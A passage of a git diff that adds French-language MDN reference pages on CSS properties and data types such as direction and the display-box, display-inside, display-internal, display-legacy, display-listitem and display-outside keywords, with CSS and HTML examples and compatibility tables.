+   <td>{{SpecName("CSS3 Values", "#dimensions", "&lt;dimension&gt;")}}</td>
+   <td>{{Spec2("CSS3 Values")}}</td>
+   <td>Adds <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vw</code>, <code>vmin</code>,<code> vmax</code>, <code>Q</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "syndata.html#numbers", "&lt;dimension&gt;")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Defined under Numbers and Length</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "", "&lt;dimension&gt;")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition under "length units"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.dimension")}}</p>
diff --git a/files/fr/web/css/direction/index.html b/files/fr/web/css/direction/index.html
new file mode 100644
index 0000000000..dd91c43510
--- /dev/null
+++ b/files/fr/web/css/direction/index.html
@@ -0,0 +1,108 @@
+---
+title: direction
+slug: Web/CSS/direction
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/direction
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>direction</code></strong> doit être paramétrée afin de correspondre à la direction du texte: <code>rtl</code> (<em>Right To Left</em> pour droite à gauche) pour les textes en hébreu ou en arabe et <code>ltr</code> (<em>Left To Right</em> pour gauche à droite) pour les autres. Cela doit normalement être fait dans le document (par exemple, en utilisant <a href="/fr/docs/Web/HTML/Attributs_universels/dir">l'attribut <code>dir</code> en HTML</a>) plutôt qu'avec une feuille de style CSS.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/direction.html")}}</div>
+
+
+
+<p>La propriété définit la direction principale du texte des éléments de type bloc et celle des éléments incorporés créés par la propriété {{cssxref("unicode-bidi")}}. Elle définit également l'alignement par défaut du texte et des éléments de type bloc, ainsi que le sens de progression des cellules dans une ligne de tableau.</p>
+
+<p>Contrairement à l'attribut HTML <code>dir</code>, la propriété <code>direction</code> n'est pas héritée pour les cellules depuis les colonnes d'un tableau car l'héritage CSS suit l'arborescence du document et les cellules sont à l'intérieur des lignes et non à l'intérieur des colonnes.</p>
+
+<p>Les propriétés <code>direction</code> et {{cssxref("unicode-bidi")}} sont les deux seuls propriétés qui ne sont pas affectés par la propriété raccourcie {{cssxref("all")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">direction: ltr;
+direction: rtl;
+
+/* Valeurs globales */
+direction: inherit;
+direction: initial;
+direction: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>ltr</code></dt>
+ <dd>La valeur par défaut qui correspond à une disposition de la gauche vers la droite pour le texte et les autres éléments.</dd>
+ <dt><code>rtl</code></dt>
+ <dd>Le texte et les autres éléments vont de la droite vers la gauche.</dd>
+</dl>
+
+<p>Afin que la propriété <code>direction</code> ait un effet sur les éléments en ligne, il faut que la valeur de la propriété {{cssxref("unicode-bidi")}} soit <code>embed</code> ou <code>override</code>.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">blockquote {
+  direction: rtl;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;blockquote&gt;
+  Du reste, depuis son bain dans la mare aux larmes,
+  tout était changé : la salle, la table de verre, et
+  la petite porte avaient complétement disparu.
+&lt;/blockquote&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes', '#direction', 'direction')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#direction', 'direction')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.direction")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/display-box/index.html b/files/fr/web/css/display-box/index.html
new file mode 100644
index 0000000000..532fa82e11
--- /dev/null
+++ b/files/fr/web/css/display-box/index.html
@@ -0,0 +1,108 @@
+---
+title: <display-box>
+slug: Web/CSS/display-box
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/display-box
+---
+<div>{{CSSRef}}</div>
+
+<p>Ces mots-clés définissent si un élément génère des boîtes d'affichage ou aucune.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code>contents</code> {{Experimental_Inline}}</dt>
+ <dd>L'élément ne produit pas de boîte qui lui soit spécifique. Il est remplacé par sa pseudo-boîte et les boîtes de ses enfants. On notera que le module de spécification CSS Display de niveau 3 définit la façon dont la valeur <code>contents</code> affecte les éléments « inhabituels » tels que les éléments remplacés. Voir <a href="https://drafts.csswg.org/css-display/#unbox">Appendix B: Effects of display: contents on Unusual Elements</a> pour plus de détails.<br>
+ <br>
+ À l'heure actuelle, en raison d'un bug, les éléments ciblés par une règle avec <code>display: contents</code> sont retirés de l'arbre d'accessibilité et ne sont donc pas parcourus par les lecteurs d'écran<em>.</em></dd>
+ <dt><code>none</code></dt>
+ <dd>Désactive l'affichage d'un élément afin que celui-ci n'ait aucun effet sur la disposition du document (le document est affiché comme si l'élément n'existait pas). Tous les éléments descendants voient également leur affichage désactivé.<br>
+ Si on souhaite que l'élément ne soit pas affiché mais occupe néanmoins un espace, il faudra utiliser la propriété {{CSSxRef("visibility")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="display_none"><code>display: none</code></h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p.secret {
+  display: none;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Texte visible&lt;/p&gt;
+&lt;p class="secret"&gt;Texte invisible&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("display_none", "100%", 60)}}</p>
+
+<h3 id="display_contents"><code>display: contents</code></h3>
+
+<p>Dans cet exemple, l'élément {{htmlelement("div")}} externe a une bordure rouge sur 2 pixels et mesure 300 pixels de large. Toutefois, cet élément est ciblé avec <code>display: contents</code> et l'élément <code>&lt;div&gt;</code> ne sera pas affiché tel quel : la bordure et la largeur ne s'appliqueront pas et l'élément fils sera affiché comme si le parent n'avait pas existé.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.outer {
+  border: 2px solid red;
+  width: 300px;
+  display: contents;
+}
+
+.outer &gt; div {
+  border: 1px solid green;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div&gt;Inner div.&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Display_contents", 300, 60)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Via leur implémentation, la plupart des navigation retireront un élément de <a href="/fr/docs/Apprendre/a11y/What_is_accessibility">l'arbre d'accessibilité</a> si celui-ci reçoit <code>display: contents</code>. Cet élément (ainsi que ses descendants pour certains navigateurs) ne sera plus annoncé par les outils de lecture d'écran. Ce comportement est incorrect selon <a href="https://drafts.csswg.org/css-display/#the-display-properties">la spécification CSSWG</a>.</p>
+
+<ul>
+ <li><a href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">Améliorer l'accessibilité du contenu avec <code>display: contents</code>, par Hidde de Vries (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html"><code>display: contents</code> n'est pas un outil de réinitialisation CSS, par Adrian Roselli (en anglais)</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_contents">Prise en charge <code>contents</code></h3>
+
+<p>{{Compat("css.properties.display.contents", 10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-internal&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+  </ul>
+ </li>
+ <li><a href="http://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html"><code>display: contents</code> n'est pas un outil de réinitialisation CSS (en anglais)</a></li>
+ <li><a href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">Un balisage plus accessible avec <code>display: contents</code> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/display-inside/index.html b/files/fr/web/css/display-inside/index.html
new file mode 100644
index 0000000000..2091265318
--- /dev/null
+++ b/files/fr/web/css/display-inside/index.html
@@ -0,0 +1,120 @@
+---
+title: display-inside
+slug: Web/CSS/display-inside
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/display-inside
+---
+<div>{{CSSRef}}</div>
+
+<p>Ces mots-clés définissent le type d'affichage ({{CSSxRef("display")}}) pour l'intérieur de l'élément. Ce type servira à la disposition du contenu de l'élément (si ce contenu n'est pas un élément remplacé). Ces mots-clés sont des valeurs de la propriété <code>display</code> et peuvent, historiquement être utilisé seul, ou plus récemment (cf. la spécification de niveau 3), être utilisé en combinaison avec un mot-clé {{CSSxRef("&lt;display-outside&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur <code>&lt;display-inside&gt;</code> est définie avec l'un des mots-clés suivants :</p>
+
+<dl>
+ <dt><code>flow</code> {{Experimental_Inline}}</dt>
+ <dd>L'élément organise son contenu en utilisant la disposition en flux (disposition bloc/en ligne ou « <em>block and inline layout</em> » en anglais).
+ <p>Si le type d'affichage extérieur est <code>inline</code> ou <code>run-in</code> et que l'élément participe à un contexte de formatage bloc ou en ligne, il génèrera une boîte en ligne. Sinon, il génèrera un conteneur de bloc.</p>
+
+ <p>Selon la valeur d'autres propriétés (telles que {{CSSxRef("position")}}, {{CSSxRef("float")}}, ou {{CSSxRef("overflow")}}) et selon que l'élément partcipe à un contexte de mise en forme de bloc ou en ligne, l'élément crée un nouveau <a href="/fr/docs/Web/CSS/Block_formatting_context">contexte de formatage de bloc</a> (BFC) pour son contenu ou intègre son contenu dans le contexte parent.</p>
+ </dd>
+ <dt><code>flow-root</code> {{Experimental_Inline}}</dt>
+ <dd>L'élément génère un bloc qui établit un nouveau <a href="/fr/docs/Web/CSS/Block_formatting_context">contexte de formatage de bloc</a>, définissant ainsi une nouvelle racine pour le formatage.</dd>
+ <dt><code>table</code></dt>
+ <dd>L'élément se comporte comme un élément HTML {{HTMLElement("table")}}. Il définit une boîte de bloc.</dd>
+ <dt><code>flex</code></dt>
+ <dd>L'élément se comporte comme un élément de bloc et dispose son contenu selon <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS">le modèle des boîtes flexibles</a>.</dd>
+ <dt><code>grid</code></dt>
+ <dd>L'élément se comporte comme un élément de bloc et dispose son contenu selon <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base">le modèle des grilles</a>.</dd>
+ <dt><code>ruby</code> {{Experimental_Inline}}</dt>
+ <dd>L'élément se comporte comme un élément en ligne et dispose son contenu selon le modèle de formatage ruby. Il se comporte comme un élément HTML {{HTMLElement("ruby")}}.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>Les navigateurs qui prennent en charge la syntaxe avec deux valeurs peuvent n'utiliser que <code>&lt;display-inside&gt;</code> lorsque c'est cohérent. Ainsi, avec <code>display: flex</code> ou <code>display: grid</code>, la valeur utilisée de <code>&lt;display-outside&gt;</code> sera nécessairement <code>block</code>. On a ainsi le résultat attendu car on doit avoir <code>display: grid</code> avec un conteneur qui soit un bloc.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, la boîte parente est ciblée avec <code>display: flow-root</code> et crée donc un nouveau contexte de formatage de bloc qui contient l'élément flottant.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.box {
+  background-color: rgb(224, 206, 247);
+  border: 5px solid rebeccapurple;
+  display: flow-root;
+}
+
+.float {
+  float: left;
+  width: 200px;
+  height: 150px;
+  background-color: white;
+  border:1px solid black;
+  padding: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+  &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+  &lt;p&gt;I am content inside the container.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 180)}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_des_valeurs_multiples">Prise en charge des valeurs multiples</h3>
+
+<p>{{Compat("css.properties.display.multi-keyword_values", 10)}}</p>
+
+<h3 id="Prise_en_charge_de_flow-root">Prise en charge de <code>flow-root</code></h3>
+
+<p>{{Compat("css.properties.display.flow-root", 10)}}</p>
+
+<h3 id="Prise_en_charge_des_tableaux">Prise en charge des tableaux</h3>
+
+<p>{{Compat("css.properties.display.table_values", 10)}}</p>
+
+<h3 id="Prise_en_charge_des_grilles">Prise en charge des grilles</h3>
+
+<p>{{Compat("css.properties.display.grid", 10)}}</p>
+
+<h3 id="Prise_en_charge_des_boîtes_flexibles">Prise en charge des boîtes flexibles</h3>
+
+<p>{{Compat("css.properties.display.flex", 10)}}</p>
+
+<h3 id="Prise_en_charge_des_annotations_ruby">Prise en charge des annotations ruby</h3>
+
+<p>{{Compat("css.properties.display.ruby_values", 10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-internal&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Concepts de base des boîtes flexibles (<em>flexbox</em>)</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base">Concepts de base des grilles CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/display-internal/index.html b/files/fr/web/css/display-internal/index.html
new file mode 100644
index 0000000000..ba42feb612
--- /dev/null
+++ b/files/fr/web/css/display-internal/index.html
@@ -0,0 +1,73 @@
+---
+title: <display-internal>
+slug: Web/CSS/display-internal
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/display-internal
+---
+<div>{{CSSRef}}</div>
+
+<p>Certains modes de disposition tels que <code>table</code> et <code>ruby</code> possèdent une structure interne complexe avec différents roles pour les éléments enfants et descendants. Cette page décrit ces valeurs « internes » pour <code>display</code> et qui s'appliquent dans un mode donné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Sauf mention contraire, le type d'affichage intérieur et extérieur sont définis simultanément par le mot-clé indiqué.</p>
+
+<dl>
+ <dt><code>table-row-group</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("tbody")}}.</dd>
+ <dt><code>table-header-group</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("thead")}}.</dd>
+ <dt><code>table-footer-group</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("tfoot")}}.</dd>
+ <dt><code>table-row</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("tr")}}.</dd>
+ <dt><code>table-cell</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("td")}}.</dd>
+ <dt><code>table-column-group</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("colgroup")}}.</dd>
+ <dt><code>table-column</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("col")}}.</dd>
+ <dt><code>table-caption</code></dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("caption")}}.</dd>
+ <dt><code>ruby-base</code> {{Experimental_Inline}}</dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("rb")}}.</dd>
+ <dt><code>ruby-text</code> {{Experimental_Inline}}</dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("rt")}}.</dd>
+ <dt><code>ruby-base-container</code> {{Experimental_Inline}}</dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("rbc")}} générés comme des boîtes anonymes.</dd>
+ <dt><code>ruby-text-container</code> {{Experimental_Inline}}</dt>
+ <dd>Ces éléments se comportent comme des éléments HTML {{HTMLElement("rtc")}}.</dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_pour_les_valeurs_liées_à_table">Prise en charge pour les valeurs liées à <code>table</code></h3>
+
+<p><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-footer-group</code>, <code>table-header-group</code>, <code>table-row</code> et <code>table-row-group</code></p>
+
+<p>{{Compat("css.properties.display.table_values", 10)}}</p>
+
+<h3 id="Prise_en_charge_pour_les_valeurs_ruby">Prise en charge pour les valeurs <code>ruby</code></h3>
+
+<p><code>ruby</code>, <code>ruby-base</code>, <code>ruby-base-container</code>, <code>ruby-text</code> et <code>ruby-text-container</code></p>
+
+<p>{{Compat("css.properties.display.ruby_values", 10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/display-legacy/index.html b/files/fr/web/css/display-legacy/index.html
new file mode 100644
index 0000000000..1bd84ba254
--- /dev/null
+++ b/files/fr/web/css/display-legacy/index.html
@@ -0,0 +1,104 @@
+---
+title: <display-legacy>
+slug: Web/CSS/display-legacy
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/display-legacy
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS 2 utilisant une syntaxe avec un seul mot-clé comme valeur pour la propriété <code>display</code>, il fallait plusieurs mots-clés pour les différentes variantes bloc/en ligne d'un même mode. Cette page décrit ces valeurs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code>inline-block</code></dt>
+ <dd>L'élément s'inscrit dans le contenu environnant comme une boîte en ligne et organise son propre contenu en bloc.<br>
+ <br>
+ Ce mot-clé est équivalent à la combinaison <code>inline flow-root</code>.</dd>
+ <dt><code>inline-table</code></dt>
+ <dd>La valeur <code>inline-table</code> n'a pas de correspondance directe en HTML. Un tel élément se comporte comme un élément HTML {{HTMLElement("table")}} avec une boîte en ligne et pas de bloc. À l'intérieur de la boîte de tableau, on aura un contexte de bloc.<br>
+ <br>
+ Ce mot-clé est équivalent à la combinaison <code>inline table</code>.</dd>
+ <dt><code>inline-flex</code></dt>
+ <dd>L'élément se comporte comme un élément en ligne et organise son propre contenu selon le modèle des boîtes flexibles.<br>
+ <br>
+ Ce mot-clé est équivalent à la combinaison <code>inline flex</code>.</dd>
+ <dt><code>inline-grid</code></dt>
+ <dd>L'élément se comporte comme un élément en ligne et organise son propre contenu selon le modèle des grilles CSS.<br>
+ <br>
+ Ce mot-clé est équivalent à la combinaison <code>inline grid</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on définit un conteneur flexible en ligne en utilisant le mot-clé historique <code>inline-flex</code>.</p>
+
+<div id="Example">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.container {
+  display: inline-flex;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;Élément flexible&lt;/div&gt;
+  &lt;div&gt;Élément flexible&lt;/div&gt;
+&lt;/div&gt;
+
+Pas d'élément flexible
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 300, 150)}}</p>
+</div>
+
+<p>Avec la nouvelle syntaxe, on peut décrire le conteneur avec deux valeurs : la première pour le mode d'affichage extérieure (<code>inline</code>) et la seconde pour le mode d'affichage intérieur (<code>flex</code>).</p>
+
+<pre class="brush: css">.container {
+  display: inline flex;
+}</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_de_inline-block">Prise en charge de <code>inline-block</code></h3>
+
+<p>{{Compat("css.properties.display.inline-block", 10)}}</p>
+
+<h3 id="Prise_en_charge_de_inline-table">Prise en charge de <code>inline-table</code></h3>
+
+<p>{{Compat("css.properties.display.inline-table", 10)}}</p>
+
+<h3 id="Prise_en_charge_de_inline-flex">Prise en charge de <code>inline-flex</code></h3>
+
+<p>{{Compat("css.properties.display.inline-flex", 10)}}</p>
+
+<h3 id="Prise_en_charge_de_inline-grid">Prise en charge de <code>inline-grid</code></h3>
+
+<p>{{Compat("css.properties.display.inline-grid", 10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-internal&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/display-listitem/index.html b/files/fr/web/css/display-listitem/index.html
new file mode 100644
index 0000000000..d5fcffc88f
--- /dev/null
+++ b/files/fr/web/css/display-listitem/index.html
@@ -0,0 +1,64 @@
+---
+title: <display-listitem>
+slug: Web/CSS/display-listitem
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/display-listitem
+---
+<div>{{CSSRef}}</div>
+
+<p>Le mot-clé <code>list-item</code> permet à un élément de générer un pseudo-élément <code>::marker</code>  dont le contenu  est défini par les propriétés {{cssxref("list-style")}} (pour afficher une puce par exemple) avec une boîte principale du type indiquée pour organiser le contenu de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur <code>list-item</code> indiquera à l'élément de se comporter comme un élément d'une liste. Cette valeur peut être utilisée avec les propriétés {{CSSxRef("list-style-type")}} et {{CSSxRef("list-style-position")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour les navigateurs qui prennent en charge la syntaxe avec deux valeurs, si aucune valeur pour le mode intérieur n'est indiquée, sa valeur par défaut sera <code>flow</code>. Si aucune valeur n'est fournie pour le mode extérieur, la boîte principale aura un mode extérieur <code>block</code>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fausse-liste {
+  display: list-item;
+  list-style-position: inside;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="fausse-liste"&gt;Je vais m'afficher comme un élément de liste&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 150)}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Prise_en_charge_de_list-item">Prise en charge de <code>list-item</code></h3>
+
+<p>{{Compat("css.properties.display.list-item", 10)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-internal&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/display-outside/index.html b/files/fr/web/css/display-outside/index.html
new file mode 100644
index 0000000000..b646dfdd70
--- /dev/null
+++ b/files/fr/web/css/display-outside/index.html
@@ -0,0 +1,88 @@
+---
+title: display-outside
+slug: Web/CSS/display-outside
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/display-outside
+---
+<div>{{CSSRef}}</div>
+
+<p>Les mots-clés de type <code>&lt;display-outside&gt;</code> définissent le mode de disposition extérieure de l'élément. Autrement dit, ces mots-clés précisent le rôle de l'élément dans le flux. Ces valeurs peuvent être utilisées pour la propriété <code>display</code>. La syntaxe historique (avant CSS 3) prendra une seule valeur et la nouvelle syntaxe combinera cette valeur avec une valeur {{CSSxRef("&lt;display-inside&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur <code>&lt;display-outside&gt;</code> peut être l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>block</code></dt>
+ <dd>L'élément génère une boîte de bloc ce qui ajoute des passages à la ligne avant et après l'élément dans le flux normal.</dd>
+ <dt><code>inline</code></dt>
+ <dd>L'élément génère une ou plusieurs boîtes en lignes qui n'ajoutent pas de passages à la ligne avant ou après. Dans un flux normal, le prochain élément sera sur la même ligne si l'espace le permet.</dd>
+ <dt><code>run-in</code> {{Experimental_Inline}}</dt>
